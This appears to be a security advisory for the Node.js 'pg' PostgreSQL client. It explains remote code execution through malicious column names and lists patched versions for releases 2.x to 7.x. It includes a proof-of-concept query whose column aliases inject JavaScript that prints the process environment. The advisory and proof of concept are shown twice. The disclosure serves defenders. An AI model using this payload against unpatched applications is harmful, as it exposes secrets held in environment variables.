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There are 2 likely scenarios in which one would likely be vulnerable. 1) Executing unsafe, user-supplied sql which contains a malicious column name. 2) Connecting to an untrusted database and executing a query which returns results where any of the column names are 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The application connects to an untrusted database and executes a query returning results which contain a malicious column name.\n\n## Proof of Concept\n```\nconst { Client } = require('pg')\nconst client = new Client()\nclient.connect()\n\nconst sql = `SELECT 1 AS \"\\\\'/*\", 2 AS \"\\\\'*/\\n + console.log(process.env)] = null;\\n//\"`\n\nclient.query(sql, (err, res) =\u003e {\n  client.end()\n})\n```\n\n\n## Recommendation\n\n* Version 2.x.x: Update to version 2.11.2 or later.\n* Version 3.x.x: Update to version 3.6.4 or later.\n* Version 4.x.x: Update to version 4.5.7 or later.\n* Version 5.x.x: Update to version 5.2.1 or later.\n* Version 6.x.x: Update to version 6.4.2 or later. ( Note that versions 6.1.6, 6.2.5, and 6.3.3 are also patched. )\n* Version 7.x.x: Update to version 7.1.2 or later. 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The application connects to an untrusted database and executes a query returning results which contain a malicious column name.\n\n## Proof of Concept\n```\nconst { Client } = require('pg')\nconst client = new Client()\nclient.connect()\n\nconst sql = `SELECT 1 AS \"\\\\'/*\", 2 AS \"\\\\'*/\\n + console.log(process.env)] = null;\\n//\"`\n\nclient.query(sql, (err, res) =\u003e {\n  client.end()\n})\n```\n\n\n## Recommendation\n\n* Version 2.x.x: Update to version 2.11.2 or later.\n* Version 3.x.x: Update to version 3.6.4 or later.\n* Version 4.x.x: Update to version 4.5.7 or later.\n* Version 5.x.x: Update to version 5.2.1 or later.\n* Version 6.x.x: Update to version 6.4.2 or later. ( Note that versions 6.1.6, 6.2.5, and 6.3.3 are also patched. )\n* Version 7.x.x: Update to version 7.1.2 or later. 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